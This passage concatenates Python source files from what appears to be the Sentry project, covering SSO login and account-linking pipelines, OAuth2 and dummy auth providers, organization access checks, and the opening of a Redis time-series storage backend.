    def dispatch(self, request, organization, auth_provider):
        return ''






from __future__ import absolute_import, print_function

import logging

from uuid import uuid4

from django.conf import settings
from django.contrib import messages
from django.core.urlresolvers import reverse
from django.db import IntegrityError, transaction
from django.http import HttpResponseRedirect
from django.utils import timezone
from django.utils.translation import ugettext_lazy as _

from sentry.app import locks
from sentry.models import (
    AuditLogEntry, AuditLogEntryEvent, AuthIdentity, AuthProvider, Organization,
    OrganizationMember, OrganizationMemberTeam, User
)
from sentry.tasks.auth import email_missing_links
from sentry.utils import auth
from sentry.utils.hashlib import md5_text
from sentry.utils.http import absolute_uri
from sentry.utils.retries import TimedRetryPolicy
from sentry.web.forms.accounts import AuthenticationForm
from sentry.web.helpers import render_to_response

from . import manager

OK_LINK_IDENTITY = _('You have successfully linked your account to your SSO provider.')

OK_SETUP_SSO = _('SSO has been configured for your organization and any existing members have been sent an email to link their accounts.')

ERR_UID_MISMATCH = _('There was an error encountered during authentication.')

ERR_NOT_AUTHED = _('You must be authenticated to link accounts.')


class AuthHelper(object):
    """
    Helper class which is passed into AuthView's.

    Designed to link provider and views as well as manage the state and
    pipeline.

    Auth has several flows:

    1. The user is going through provider setup, thus enforcing that they link
       their current account to the new auth identity.
    2. The user is anonymous and creating a brand new account.
    3. The user is anonymous and logging into an existing account.
    4. The user is anonymous and creating a brand new account, but may have an
       existing account that should/could be merged.
    5. The user is authenticated and creating a new identity, thus associating
       it with their current account.
    6. The user is authenticated and creating a new identity, but not linking
       it with their account (thus creating a new account).
    """
    # logging in or registering
    FLOW_LOGIN = 1
    # configuring the provider
    FLOW_SETUP_PROVIDER = 2

    @classmethod
    def get_for_request(cls, request):
        session = request.session.get('auth', {})
        organization_id = session.get('org')
        if not organization_id:
            logging.info('Invalid SSO data found')
            return None

        flow = session['flow']

        auth_provider_id = session.get('ap')
        provider_key = session.get('p')
        if auth_provider_id:
            auth_provider = AuthProvider.objects.get(
                id=auth_provider_id
            )
        elif provider_key:
            auth_provider = None

        organization = Organization.objects.get(
            id=session['org'],
        )

        return cls(request, organization, flow,
                   auth_provider=auth_provider, provider_key=provider_key)

    def __init__(self, request, organization, flow, auth_provider=None,
                 provider_key=None):
        assert provider_key or auth_provider

        self.request = request
        self.auth_provider = auth_provider
        self.organization = organization
        self.flow = flow

        if auth_provider:
            provider = auth_provider.get_provider()
        elif provider_key:
            provider = manager.get(provider_key)
        else:
            raise NotImplementedError

        self.provider = provider
        if flow == self.FLOW_LOGIN:
            self.pipeline = provider.get_auth_pipeline()
        elif flow == self.FLOW_SETUP_PROVIDER:
            self.pipeline = provider.get_setup_pipeline()
        else:
            raise NotImplementedError

        # we serialize the pipeline to be [AuthView().get_ident(), ...] which
        # allows us to determine if the pipeline has changed during the auth
        # flow or if the user is somehow circumventing a chunk of it
        self.signature = md5_text(
            ' '.join(av.get_ident() for av in self.pipeline)
        ).hexdigest()

    def pipeline_is_valid(self):
        session = self.request.session.get('auth', {})
        if not session:
            return False
        if session.get('flow') not in (self.FLOW_LOGIN, self.FLOW_SETUP_PROVIDER):
            return False
        return session.get('sig') == self.signature

    def init_pipeline(self):
        session = {
            'uid': self.request.user.id if self.request.user.is_authenticated() else None,
            'ap': self.auth_provider.id if self.auth_provider else None,
            'p': self.provider.key,
            'org': self.organization.id,
            'idx': -1,
            'sig': self.signature,
            'flow': self.flow,
            'state': {},
        }
        self.request.session['auth'] = session
        self.request.session.modified = True

    def get_redirect_url(self):
        return absolute_uri(reverse('sentry-auth-sso'))

    def clear_session(self):
        if 'auth' in self.request.session:
            del self.request.session['auth']
            self.request.session.modified = True

    def current_step(self):
        """
        Render the current step.
        """
        session = self.request.session['auth']
        idx = session['idx']
        if idx == len(self.pipeline):
            return self.finish_pipeline()
        return self.pipeline[idx].dispatch(
            request=self.request,
            helper=self,
        )

    def next_step(self):
        """
        Render the next step.
        """
        self.request.session['auth']['idx'] += 1
        self.request.session.modified = True
        return self.current_step()

    def finish_pipeline(self):
        session = self.request.session['auth']
        state = session['state']
        identity = self.provider.build_identity(state)

        if session['flow'] == self.FLOW_LOGIN:
            # create identity and authenticate the user
            response = self._finish_login_pipeline(identity)
        elif session['flow'] == self.FLOW_SETUP_PROVIDER:
            response = self._finish_setup_pipeline(identity)

        return response

    @transaction.atomic
    def _handle_attach_identity(self, identity, member=None):
        """
        Given an already authenticated user, attach or re-attach an identity.
        """
        auth_provider = self.auth_provider
        request = self.request
        user = request.user
        organization = self.organization

        try:
            try:
                # prioritize identifying by the SSO provider's user ID
                auth_identity = AuthIdentity.objects.get(
                    auth_provider=auth_provider,
                    ident=identity['id'],
                )
            except AuthIdentity.DoesNotExist:
                # otherwise look for an already attached identity
                # this can happen if the SSO provider's internal ID changes
                auth_identity = AuthIdentity.objects.get(
                    auth_provider=auth_provider,
                    user=user,
                )
        except AuthIdentity.DoesNotExist:
            auth_identity = AuthIdentity.objects.create(
                auth_provider=auth_provider,
                user=user,
                ident=identity['id'],
                data=identity.get('data', {}),
            )
            auth_is_new = True
        else:
            now = timezone.now()

            # TODO(dcramer): this might leave the user with duplicate accounts,
            # and in that kind of situation its very reasonable that we could
            # test email addresses + is_managed to determine if we can auto
            # merge
            if auth_identity.user != user:
                # it's possible the user has an existing identity, let's wipe it out
                # so that the new identifier gets used (other we'll hit a constraint)
                # violation since one might exist for (provider, user) as well as
                # (provider, ident)
                AuthIdentity.objects.exclude(
                    id=auth_identity.id,
                ).filter(
                    auth_provider=auth_provider,
                    user=user,
                ).delete()

                # since we've identify an identity which is no longer valid
                # lets preemptively mark it as such
                try:
                    other_member = OrganizationMember.objects.get(
                        user=auth_identity.user_id,
                        organization=organization,
                    )
                except OrganizationMember.DoesNotExist:
                    pass
                else:
                    setattr(other_member.flags, 'sso:invalid', True)
                    setattr(other_member.flags, 'sso:linked', False)
                    other_member.save()

            auth_identity.update(
                user=user,
                ident=identity['id'],
                data=self.provider.update_identity(
                    new_data=identity.get('data', {}),
                    current_data=auth_identity.data,
                ),
                last_verified=now,
                last_synced=now,
            )
            auth_is_new = False

        if member is None:
            try:
                member = OrganizationMember.objects.get(
                    user=user,
                    organization=organization,
                )
            except OrganizationMember.DoesNotExist:
                member = OrganizationMember.objects.create(
                    organization=organization,
                    role=organization.default_role,
                    user=user,
                    flags=getattr(OrganizationMember.flags, 'sso:linked'),
                )

                default_teams = auth_provider.default_teams.all()
                for team in default_teams:
                    OrganizationMemberTeam.objects.create(
                        team=team,
                        organizationmember=member,
                    )

                AuditLogEntry.objects.create(
                    organization=organization,
                    actor=user,
                    ip_address=request.META['REMOTE_ADDR'],
                    target_object=member.id,
                    target_user=user,
                    event=AuditLogEntryEvent.MEMBER_ADD,
                    data=member.get_audit_log_data(),
                )
        if getattr(member.flags, 'sso:invalid') or not getattr(member.flags, 'sso:linked'):
            setattr(member.flags, 'sso:invalid', False)
            setattr(member.flags, 'sso:linked', True)
            member.save()

        if auth_is_new:
            AuditLogEntry.objects.create(
                organization=organization,
                actor=user,
                ip_address=request.META['REMOTE_ADDR'],
                target_object=auth_identity.id,
                event=AuditLogEntryEvent.SSO_IDENTITY_LINK,
                data=auth_identity.get_audit_log_data(),
            )

            messages.add_message(
                request, messages.SUCCESS,
                OK_LINK_IDENTITY,
            )

        return auth_identity

    def _handle_new_user(self, identity):
        auth_provider = self.auth_provider

        user = User.objects.create(
            username=uuid4().hex,
            email=identity['email'],
            name=identity.get('name', '')[:200],
            is_managed=True,
        )

        try:
            with transaction.atomic():
                auth_identity = AuthIdentity.objects.create(
                    auth_provider=auth_provider,
                    user=user,
                    ident=identity['id'],
                    data=identity.get('data', {}),
                )
        except IntegrityError:
            auth_identity = AuthIdentity.objects.get(
                auth_provider=auth_provider,
                ident=identity['id'],
            )
            auth_identity.update(
                user=user,
                data=identity.get('data', {}),
            )

        self._handle_new_membership(auth_identity)

        return auth_identity

    def _handle_new_membership(self, identity):
        auth_provider = self.auth_provider
        organization = self.organization
        request = self.request
        user = identity.user

        om = OrganizationMember.objects.create(
            organization=organization,
            role=organization.default_role,
            user=user,
            flags=getattr(OrganizationMember.flags, 'sso:linked'),
        )

        default_teams = auth_provider.default_teams.all()
        for team in default_teams:
            OrganizationMemberTeam.objects.create(
                team=team,
                organizationmember=om,
            )

        AuditLogEntry.objects.create(
            organization=organization,
            actor=user,
            ip_address=request.META['REMOTE_ADDR'],
            target_object=om.id,
            target_user=om.user,
            event=AuditLogEntryEvent.MEMBER_ADD,
            data=om.get_audit_log_data(),
        )

        return om

    def _get_login_form(self, existing_user=None):
        request = self.request
        return AuthenticationForm(
            request,
            request.POST if request.POST.get('op') == 'login' else None,
            initial={
                'username': existing_user.username if existing_user else None,
            },
            captcha=bool(request.session.get('needs_captcha')),
        )

    def _get_display_name(self, identity):
        return identity.get('name') or identity.get('email')

    def _get_identifier(self, identity):
        return identity.get('email') or identity.get('id')

    def _handle_unknown_identity(self, identity):
        """
        Flow is activated upon a user logging in to where an AuthIdentity is
        not present.

        The flow will attempt to answer the following:

        - Is there an existing user with the same email address? Should they be
          merged?

        - Is there an existing user (via authentication) that shoudl be merged?

        - Should I create a new user based on this identity?
        """
        request = self.request
        op = request.POST.get('op')

        if not request.user.is_authenticated():
            # TODO(dcramer): its possible they have multiple accounts and at
            # least one is managed (per the check below)
            try:
                existing_user = auth.find_users(identity['email'], is_active=True)[0]
            except IndexError:
                existing_user = None

            # If they already have an SSO account and the identity provider says
            # the email matches we go ahead and let them merge it. This is the
            # only way to prevent them having duplicate accounts, and because
            # we trust identity providers, its considered safe.
            if existing_user and existing_user.is_managed:
                # we only allow this flow to happen if the existing user has
                # membership, otherwise we short circuit because it might be
                # an attempt to hijack membership of another organization
                has_membership = OrganizationMember.objects.filter(
                    user=existing_user,
                    organization=self.organization,
                ).exists()
                if has_membership:
                    if not auth.login(request, existing_user,
                                      after_2fa=request.build_absolute_uri()):
                        return HttpResponseRedirect(auth.get_login_redirect(
                            self.request))
                    # assume they've confirmed they want to attach the identity
                    op = 'confirm'
                else:
                    # force them to create a new account
                    existing_user = None

            login_form = self._get_login_form(existing_user)
        elif request.user.is_managed:
            # per the above, try to auto merge if the user was originally an
            # SSO account but is still logged in
            has_membership = OrganizationMember.objects.filter(
                user=request.user,
                organization=self.organization,
            ).exists()
            if has_membership:
                # assume they've confirmed they want to attach the identity
                op = 'confirm'

        if op == 'confirm' and request.user.is_authenticated():
            auth_identity = self._handle_attach_identity(identity)
        elif op == 'newuser':
            auth_identity = self._handle_new_user(identity)
        elif op == 'login' and not request.user.is_authenticated():
            # confirm authentication, login
            op = None
            if login_form.is_valid():
                # This flow is special.  If we are going through a 2FA
                # flow here (login returns False) we want to instruct the
                # system to return upon completion of the 2fa flow to the
                # current URL and continue with the dialog.
                #
                # If there is no 2fa we don't need to do this and can just
                # go on.
                if not auth.login(request, login_form.get_user(),
                                  after_2fa=request.build_absolute_uri()):
                    return HttpResponseRedirect(auth.get_login_redirect(
                        self.request))
                request.session.pop('needs_captcha', None)
            else:
                auth.log_auth_failure(request, request.POST.get('username'))
                request.session['needs_captcha'] = 1
        else:
            op = None

        if not op:
            if request.user.is_authenticated():
                return self.respond('sentry/auth-confirm-link.html', {
                    'identity': identity,
                    'existing_user': request.user,
                    'identity_display_name': self._get_display_name(identity),
                    'identity_identifier': self._get_identifier(identity)
                })

            return self.respond('sentry/auth-confirm-identity.html', {
                'existing_user': existing_user,
                'identity': identity,
                'login_form': login_form,
                'identity_display_name': self._get_display_name(identity),
                'identity_identifier': self._get_identifier(identity)
            })

        user = auth_identity.user
        user.backend = settings.AUTHENTICATION_BACKENDS[0]

        auth.login(self.request, user)

        self.clear_session()

        return HttpResponseRedirect(auth.get_login_redirect(self.request))

    def _handle_existing_identity(self, auth_identity, identity):
        # TODO(dcramer): this is very similar to attach
        now = timezone.now()
        auth_identity.update(
            data=self.provider.update_identity(
                new_data=identity.get('data', {}),
                current_data=auth_identity.data,
            ),
            last_verified=now,
            last_synced=now,
        )

        try:
            member = OrganizationMember.objects.get(
                user=auth_identity.user,
                organization=self.organization,
            )
        except OrganizationMember.DoesNotExist:
            # this is likely the case when someone was removed from the org
            # but still has access to rejoin
            member = self._handle_new_membership(auth_identity)
        else:
            if getattr(member.flags, 'sso:invalid') or not getattr(member.flags, 'sso:linked'):
                setattr(member.flags, 'sso:invalid', False)
                setattr(member.flags, 'sso:linked', True)
                member.save()

        user = auth_identity.user
        user.backend = settings.AUTHENTICATION_BACKENDS[0]

        auth.login(self.request, user)

        self.clear_session()

        return HttpResponseRedirect(auth.get_login_redirect(self.request))

    @transaction.atomic
    def _finish_login_pipeline(self, identity):
        """
        The login flow executes both with anonymous and authenticated users.

        Upon completion a few branches exist:

        If the identity is already linked, the user should be logged in
        and redirected immediately.

        Otherwise, the user is presented with a confirmation window. That window
        will show them the new account that will be created, and if they're
        already authenticated an optional button to associate the identity with
        their account.
        """
        auth_provider = self.auth_provider
        lock = locks.get(
            'sso:auth:{}:{}'.format(
                auth_provider.id,
                md5_text(identity['id']).hexdigest(),
            ),
            duration=5,
        )
        with TimedRetryPolicy(5)(lock.acquire):
            try:
                auth_identity = AuthIdentity.objects.select_related('user').get(
                    auth_provider=auth_provider,
                    ident=identity['id'],
                )
            except AuthIdentity.DoesNotExist:
                return self._handle_unknown_identity(identity)

            # If the User attached to this AuthIdentity is not active,
            # we want to clobber the old account and take it over, rather than
            # getting logged into the inactive account.
            if not auth_identity.user.is_active:

                # Current user is also not logged in, so we have to
                # assume unknown.
                if not self.request.user.is_authenticated():
                    return self._handle_unknown_identity(identity)

                auth_identity = self._handle_attach_identity(identity)

            return self._handle_existing_identity(auth_identity, identity)

    @transaction.atomic
    def _finish_setup_pipeline(self, identity):
        """
        The setup flow creates the auth provider as well as an identity linked
        to the active user.
        """
        request = self.request
        if not request.user.is_authenticated():
            return self.error(ERR_NOT_AUTHED)

        if request.user.id != request.session['auth']['uid']:
            return self.error(ERR_UID_MISMATCH)

        state = request.session['auth']['state']
        config = self.provider.build_config(state)

        try:
            om = OrganizationMember.objects.get(
                user=request.user,
                organization=self.organization,
            )
        except OrganizationMember.DoesNotExist:
            return self.error(ERR_UID_MISMATCH)

        self.auth_provider = AuthProvider.objects.create(
            organization=self.organization,
            provider=self.provider.key,
            config=config,
        )

        self._handle_attach_identity(identity, om)

        AuditLogEntry.objects.create(
            organization=self.organization,
            actor=request.user,
            ip_address=request.META['REMOTE_ADDR'],
            target_object=self.auth_provider.id,
            event=AuditLogEntryEvent.SSO_ENABLE,
            data=self.auth_provider.get_audit_log_data(),
        )

        email_missing_links.delay(
            organization_id=self.organization.id,
        )

        messages.add_message(
            self.request, messages.SUCCESS,
            OK_SETUP_SSO,
        )

        self.clear_session()

        next_uri = reverse('sentry-organization-auth-settings', args=[
            self.organization.slug,
        ])
        return HttpResponseRedirect(next_uri)

    def respond(self, template, context=None, status=200):
        default_context = {
            'organization': self.organization,
        }
        if context:
            default_context.update(context)

        return render_to_response(template, default_context, self.request,
                                  status=status)

    def error(self, message):
        session = self.request.session['auth']
        if session['flow'] == self.FLOW_LOGIN:
            # create identity and authenticate the user
            redirect_uri = reverse('sentry-auth-organization', args=[self.organization.slug])

        elif session['flow'] == self.FLOW_SETUP_PROVIDER:
            redirect_uri = reverse('sentry-organization-auth-settings', args=[self.organization.slug])

        messages.add_message(
            self.request, messages.ERROR,
            u'Authentication error: {}'.format(message),
        )

        return HttpResponseRedirect(redirect_uri)

    def bind_state(self, key, value):
        self.request.session['auth']['state'][key] = value
        self.request.session.modified = True

    def fetch_state(self, key):
        return self.request.session['auth']['state'].get(key)






from __future__ import absolute_import, print_function

import logging

from .view import ConfigureView


class Provider(object):
    """
    A provider indicates how authenticate should happen for a given service,
    including its configuration and basic identity management.
    """
    name = None

    def __init__(self, key, **config):
        self.key = key
        self.config = config
        self.logger = logging.getLogger('sentry.auth.%s' % (key,))

    def get_configure_view(self):
        """
        Return the view which handles configuration (post-setup).
        """
        return ConfigureView.as_view()

    def get_auth_pipeline(self):
        """
        Return a list of AuthView instances representing the authentication
        pipeline for this provider.
        """
        raise NotImplementedError

    def get_setup_pipeline(self):
        """
        Return a list of AuthView instances representing the initial setup
        pipeline for this provider.

        Defaults to the defined authentication pipeline.
        """
        return self.get_auth_pipeline()

    def build_config(self, state):
        """
        Return a mapping containing provider configuration.

        - ``state`` is the resulting data captured by the pipeline
        """
        raise NotImplementedError

    def build_identity(self, state):
        """
        Return a mapping containing the identity information.

        - ``state`` is the resulting data captured by the pipeline

        >>> {
        >>>     "id": "foo@example.com",
        >>>     "email": "foo@example.com",
        >>>     "name": "Foo Bar",
        >>> }

        The ``email`` and ``id`` keys are required, ``name`` is optional.
        """
        raise NotImplementedError

    def update_identity(self, new_data, current_data):
        """
        When re-authenticating with a provider, the identity data may need to
        be mutated based on the previous state. An example of this is Google,
        which will not return a `refresh_token` unless the user explicitly
        goes through an approval process.

        Return the new state which should be used for an identity.
        """
        return new_data

    def refresh_identity(self, auth_identity):
        """
        Updates the AuthIdentity with any changes from upstream. The primary
        example of a change would be signalling this identity is no longer
        valid.

        If the identity is no longer valid an ``IdentityNotValid`` error should
        be raised.
        """
        raise NotImplementedError






from __future__ import absolute_import

__all__ = ['from_user', 'from_member', 'DEFAULT']

import warnings

from django.conf import settings

from sentry.models import AuthIdentity, AuthProvider, OrganizationMember


class BaseAccess(object):
    is_active = False
    sso_is_valid = False
    # teams with valid access
    teams = ()
    # teams with valid membership
    memberships = ()
    scopes = frozenset()

    def has_scope(self, scope):
        if not self.is_active:
            return False
        return scope in self.scopes

    def has_team(self, team):
        warnings.warn('has_team() is deprecated in favor of has_team_access',
                      DeprecationWarning)
        return self.has_team_access(team)

    def has_team_access(self, team):
        if not self.is_active:
            return False
        return team in self.teams

    def has_team_membership(self, team):
        if not self.is_active:
            return False
        return team in self.memberships

    def has_team_scope(self, team, scope):
        return self.has_team_access(team) and self.has_scope(scope)

    def to_django_context(self):
        return {
            s.replace(':', '_'): self.has_scope(s)
            for s in settings.SENTRY_SCOPES
        }


class Access(BaseAccess):
    # TODO(dcramer): this is still a little gross, and ideally backend access
    # would be based on the same scopes as API access so theres clarity in
    # what things mean
    def __init__(self, scopes, is_active, teams, memberships, sso_is_valid):
        self.teams = teams
        self.memberships = memberships
        self.scopes = scopes

        self.is_active = is_active
        self.sso_is_valid = sso_is_valid


def from_request(request, organization, scopes=None):
    if not organization:
        return DEFAULT

    if request.is_superuser():
        team_list = list(organization.team_set.all())
        return Access(
            scopes=scopes if scopes is not None else settings.SENTRY_SCOPES,
            is_active=True,
            teams=team_list,
            memberships=team_list,
            sso_is_valid=True,
        )
    return from_user(request.user, organization, scopes=scopes)


def from_user(user, organization, scopes=None):
    if not organization:
        return DEFAULT

    if user.is_anonymous():
        return DEFAULT

    try:
        om = OrganizationMember.objects.get(
            user=user,
            organization=organization,
        )
    except OrganizationMember.DoesNotExist:
        return DEFAULT

    # ensure cached relation
    om.organization = organization

    return from_member(om, scopes=scopes)


def from_member(member, scopes=None):
    # TODO(dcramer): we want to optimize this access pattern as its several
    # network hops and needed in a lot of places
    try:
        auth_provider = AuthProvider.objects.get(
            organization=member.organization_id,
        )
    except AuthProvider.DoesNotExist:
        sso_is_valid = True
    else:
        if auth_provider.flags.allow_unlinked:
            sso_is_valid = True
        else:
            try:
                auth_identity = AuthIdentity.objects.get(
                    auth_provider=auth_provider,
                    user=member.user_id,
                )
            except AuthIdentity.DoesNotExist:
                sso_is_valid = False
            else:
                sso_is_valid = auth_identity.is_valid(member)

    team_memberships = member.get_teams()
    if member.organization.flags.allow_joinleave:
        team_access = list(member.organization.team_set.all())
    else:
        team_access = team_memberships

    if scopes is not None:
        scopes = set(scopes) & member.get_scopes()
    else:
        scopes = member.get_scopes()

    return Access(
        is_active=True,
        sso_is_valid=sso_is_valid,
        scopes=scopes,
        memberships=team_memberships,
        teams=team_access,
    )


class NoAccess(BaseAccess):
    @property
    def sso_is_valid(self):
        return True

    @property
    def is_active(self):
        return False

    @property
    def teams(self):
        return ()

    @property
    def memberships(self):
        return ()

    @property
    def scopes(self):
        return frozenset()

DEFAULT = NoAccess()






from __future__ import absolute_import, print_function

from .provider import *  # NOQA
from .manager import ProviderManager
from .view import *  # NOQA

manager = ProviderManager()
register = manager.register
unregister = manager.unregister






from __future__ import absolute_import, print_function

__all__ = ['ProviderManager']

import six

from .exceptions import ProviderNotRegistered


# Ideally this and PluginManager abstracted from the same base, but
# InstanceManager has become convulated and wasteful
class ProviderManager(object):
    def __init__(self):
        self.__values = {}

    def __iter__(self):
        return six.iteritems(self.__values)

    def get(self, key, **kwargs):
        try:
            cls = self.__values[key]
        except KeyError:
            raise ProviderNotRegistered(key)
        return cls(key=key, **kwargs)

    def exists(self, key):
        return key in self.__values

    def register(self, key, cls):
        self.__values[key] = cls

    def unregister(self, key, cls):
        try:
            if self.__values[key] != cls:
                # dont allow unregistering of arbitrary provider
                raise ProviderNotRegistered(key)
        except KeyError:
            # we gracefully handle a missing provider
            return
        del self.__values[key]






from __future__ import absolute_import

from django.conf import settings


def is_internal_ip(request):
    if not settings.INTERNAL_IPS:
        return False
    ip = request.META['REMOTE_ADDR']
    if not any(ip in addr for addr in settings.INTERNAL_IPS):
        return False
    return True


def is_privileged_request(request):
    if settings.INTERNAL_IPS:
        return is_internal_ip(request)
    return True


def is_active_superuser(request):
    user = getattr(request, 'user', None)
    if not user or not user.is_superuser:
        return False

    return is_privileged_request(request)






from __future__ import absolute_import, print_function

import logging

from six.moves.urllib.parse import parse_qsl, urlencode
from time import time
from uuid import uuid4

from sentry.auth import Provider, AuthView
from sentry.auth.exceptions import IdentityNotValid
from sentry.http import safe_urlopen, safe_urlread
from sentry.utils import json
from sentry.utils.http import absolute_uri

ERR_INVALID_STATE = 'An error occurred while validating your request.'


class OAuth2Login(AuthView):
    authorize_url = None
    client_id = None
    scope = ''

    def __init__(self, authorize_url=None, client_id=None, scope=None, *args,
                 **kwargs):
        super(OAuth2Login, self).__init__(*args, **kwargs)
        if authorize_url is not None:
            self.authorize_url = authorize_url
        if client_id is not None:
            self.client_id = client_id
        if scope is not None:
            self.scope = scope

    def get_scope(self):
        return self.scope

    def get_authorize_url(self):
        return self.authorize_url

    def get_authorize_params(self, state, redirect_uri):
        return {
            "client_id": self.client_id,
            "response_type": "code",
            "scope": self.get_scope(),
            "state": state,
            "redirect_uri": redirect_uri,
        }

    def dispatch(self, request, helper):
        if 'code' in request.GET:
            return helper.next_step()

        state = uuid4().hex

        params = self.get_authorize_params(
            state=state,
            redirect_uri=absolute_uri(helper.get_redirect_url()),
        )
        redirect_uri = '{}?{}'.format(
            self.get_authorize_url(), urlencode(params)
        )

        helper.bind_state('state', state)

        return self.redirect(redirect_uri)


class OAuth2Callback(AuthView):
    access_token_url = None
    client_id = None
    client_secret = None

    def __init__(self, access_token_url=None, client_id=None,
                 client_secret=None, *args, **kwargs):
        super(OAuth2Callback, self).__init__(*args, **kwargs)
        if access_token_url is not None:
            self.access_token_url = access_token_url
        if client_id is not None:
            self.client_id = client_id
        if client_secret is not None:
            self.client_secret = client_secret

    def get_token_params(self, code, redirect_uri):
        return {
            "grant_type": "authorization_code",
            "code": code,
            "redirect_uri": redirect_uri,
            "client_id": self.client_id,
            "client_secret": self.client_secret,
        }

    def exchange_token(self, request, helper, code):
        # TODO: this needs the auth yet
        data = self.get_token_params(
            code=code,
            redirect_uri=absolute_uri(helper.get_redirect_url()),
        )
        req = safe_urlopen(self.access_token_url, data=data)
        body = safe_urlread(req)
        if req.headers['Content-Type'].startswith('application/x-www-form-urlencoded'):
            return dict(parse_qsl(body))
        return json.loads(body)

    def dispatch(self, request, helper):
        error = request.GET.get('error')
        state = request.GET.get('state')
        code = request.GET.get('code')

        if error:
            return helper.error(error)

        if state != helper.fetch_state('state'):
            return helper.error(ERR_INVALID_STATE)

        data = self.exchange_token(request, helper, code)

        if 'error_description' in data:
            return helper.error(data['error_description'])

        if 'error' in data:
            logging.info('Error exchanging token: %s', data['error'])
            return helper.error('Unable to retrieve your token')

        # we can either expect the API to be implicit and say "im looking for
        # blah within state data" or we need to pass implementation + call a
        # hook here
        helper.bind_state('data', data)

        return helper.next_step()


class OAuth2Provider(Provider):
    client_id = None
    client_secret = None

    def get_auth_pipeline(self):
        return [
            OAuth2Login(
                client_id=self.client_id,
            ),
            OAuth2Callback(
                client_id=self.client_id,
                client_secret=self.client_secret,
            ),
        ]

    def get_refresh_token_url(self):
        raise NotImplementedError

    def get_refresh_token_params(self, refresh_token):
        return {
            "client_id": self.client_id,
            "client_secret": self.client_secret,
            "grant_type": "refresh_token",
            "refresh_token": refresh_token,
        }

    def get_oauth_data(self, payload):
        data = {
            'access_token': payload['access_token'],
            'token_type': payload['token_type'],
        }
        if 'expires_in' in payload:
            data['expires'] = time() + payload['expires_in']
        if 'refresh_token' in payload:
            data['refresh_token'] = payload['refresh_token']
        return data

    def build_identity(self, state):
        # data = state['data']
        # return {
        #     'id': '',
        #     'email': '',
        #     'name': '',
        #     'data': self.get_oauth_data(data),
        # }
        raise NotImplementedError

    def update_identity(self, new_data, current_data):
        # we want to maintain things like refresh_token that might not
        # exist on a refreshed state
        if 'refresh_token' in current_data:
            new_data.setdefault('refresh_token', current_data['refresh_token'])
        return new_data

    def refresh_identity(self, auth_identity):
        refresh_token = auth_identity.data.get('refresh_token')

        if not refresh_token:
            raise IdentityNotValid('Missing refresh token')

        data = self.get_refresh_token_params(
            refresh_token=refresh_token,
        )
        req = safe_urlopen(self.get_refresh_token_url(), data=data)

        try:
            body = safe_urlread(req)
            payload = json.loads(body)
        except Exception:
            payload = {}

        error = payload.get('error', 'unknown_error')
        error_description = payload.get('error_description', 'no description available')

        formatted_error = 'HTTP {} ({}): {}'.format(
            req.status_code, error, error_description
        )

        if req.status_code == 401:
            raise IdentityNotValid(formatted_error)

        if req.status_code == 400:
            # this may not be common, but at the very least Google will return
            # an invalid grant when a user is suspended
            if error == 'invalid_grant':
                raise IdentityNotValid(formatted_error)

        if req.status_code != 200:
            raise Exception(formatted_error)

        auth_identity.data.update(self.get_oauth_data(payload))
        auth_identity.update(data=auth_identity.data)






from __future__ import absolute_import, print_function






from __future__ import absolute_import, print_function

from django.http import HttpResponse

from sentry.auth import Provider, AuthView


class AskEmail(AuthView):
    def dispatch(self, request, helper):
        if 'email' in request.POST:
            helper.bind_state('email', request.POST['email'])
            return helper.next_step()

        return HttpResponse(DummyProvider.TEMPLATE)


class DummyProvider(Provider):
    TEMPLATE = '<form method="POST"><input type="email" name="email" /></form>'

    def get_auth_pipeline(self):
        return [AskEmail()]

    def build_identity(self, state):
        return {
            'name': 'Dummy',
            'id': state['email'],
            'email': state['email'],
        }

    def refresh_identity(self, auth_identity):
        pass

    def build_config(self, state):
        return {}






"""
sentry.tsdb.redis
~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import itertools
import logging
import operator
import random
import six
import uuid

from binascii import crc32
from collections import defaultdict, namedtuple

from django.utils import timezone
from hashlib import md5
from pkg_resources import resource_string
from redis.client import Script
from six.moves import reduce

from sentry.tsdb.base import BaseTSDB
from sentry.utils.dates import to_datetime, to_timestamp
from sentry.utils.redis import check_cluster_versions, get_cluster_from_options
from sentry.utils.versioning import Version

logger = logging.getLogger(__name__)


SketchParameters = namedtuple('SketchParameters', 'depth width capacity')


CountMinScript = Script(
    None,
    resource_string('sentry', 'scripts/tsdb/cmsketch.lua'),
)


class RedisTSDB(BaseTSDB):
    """
    A time series storage backend for Redis.

    The time series API supports three data types:

        * simple counters
        * distinct counters (number of unique elements seen)
        * frequency tables (a set of items ranked by most frequently observed)

    The backend also supports virtual nodes (``vnodes``) which controls shard
    distribution. This value should be set to the anticipated maximum number of
    physical hosts and not modified after data has been written.

    Simple counters are stored in hashes. The key of the hash is composed of
    the model, epoch (which defines the start of the rollup period), and a
    shard identifier. This allows TTLs to be applied to the entire bucket,
    instead of having to be stored for every individual element in the rollup
    period. This results in a data layout that looks something like this::

        {
            "<model>:<epoch>:<shard id>": {
                "<key>": value,
                ...
            },
            ...
        }

    Distinct counters are stored using HyperLogLog, which provides a
    cardinality estimate with a standard error of 0.8%. The data layout looks
    something like this::

        {
            "<model>:<epoch>:<key>": value,
            ...
        }

    Frequency tables are modeled using two data structures:

        * top-N index: a sorted set containing the most frequently observed items,
        * estimation matrix: a hash table containing counters, used in a Count-Min sketch

    Member scores are 100% accurate until the index is filled (and no memory is
    used for the estimation matrix until this point), after which the data
    structure switches to a probabilistic implementation and accuracy begins to
    degrade for less frequently observed items, but remains accurate for more
    frequently observed items.

    Frequency tables are especially useful when paired with a (non-distinct)
    counter of the total number of observations so that scores of items of the
    frequency table can be displayed as percentages of the whole data set.
    (Additional documentation and the bulk of the logic for implementing the
    frequency table API can be found in the ``cmsketch.lua`` script.)
    """
    DEFAULT_SKETCH_PARAMETERS = SketchParameters(3, 128, 50)

    def __init__(self, prefix='ts:', vnodes=64, **options):
        self.cluster, options = get_cluster_from_options('SENTRY_TSDB_OPTIONS', options)
        self.prefix = prefix
        self.vnodes = vnodes
        self.enable_frequency_sketches = options.pop('enable_frequency_sketches', False)
        super(RedisTSDB, self).__init__(**options)

    def validate(self):
        logger.debug('Validating Redis version...')
        version = Version((2, 8, 18)) if self.enable_frequency_sketches else Version((2, 8, 9))
        check_cluster_versions(
            self.cluster,
            version,
            recommended=Version((2, 8, 18)),
            label='TSDB',
        )

    def make_key(self, model, rollup, timestamp, key):
        """
        Make a key that is used for distinct counter and frequency table
        values.
        """
        return '{prefix}{model}:{epoch}:{key}'.format(
            prefix=self.prefix,
            model=model.value,
